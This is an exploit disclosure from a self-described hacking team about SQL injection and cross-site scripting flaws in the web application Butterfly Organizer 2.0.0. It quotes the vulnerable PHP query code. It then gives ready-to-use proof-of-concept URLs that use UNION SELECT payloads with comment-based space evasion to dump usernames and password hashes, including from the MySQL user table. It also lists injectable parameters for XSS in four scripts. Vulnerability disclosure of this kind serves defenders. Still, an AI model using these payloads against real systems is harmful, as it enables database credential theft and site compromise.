====================================================================== Butterfly Organizer 2.0.0 (SQL/XSS) Multiple Remote Vulnerabilities ====================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 13 June 2008 SITE : www.citec.us ##################################################### APPLICATION : Butterfly Organizer VERSION : 2.0.0 DOWNLOAD : www.butterflymedia.ro/downloads/organizer_2_0_0.zip ##################################################### +++ Remote SQL Injection Exploit +++ ---------------------------- Vulnerable Code [view.php] ---------------------------- @Line 26: $mytable = $_GET['mytable']; 27: $id = $_GET['id']; 28: 29: $result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database); 30: $myrow = mysql_fetch_array($result); ---------- Exploit ---------- [+] http://[Target]/[Organizer_Path]/view.php?id=<SQL INJECTION>&mytable=test_category ------------- POC Exploit ------------- [+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/mysql.user&mytable=test_category [+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(username,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/test_category&mytable=test_category +++ Remote XSS Exploit +++ ----------- Exploits ----------- [+] http://[Target]/[Organizer_Path]/view.php?id=1&mytable=<XSS> [+] http://[Target]/[Organizer_Path]/viewdb2.php?id=1&mytable=<XSS> [+] http://[Target]/[Organizer_Path]/category-rename.php?tablehere=<XSS> [+] http://[Target]/[Organizer_Path]/module-contacts.php?letter=<XSS> ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ##################################################################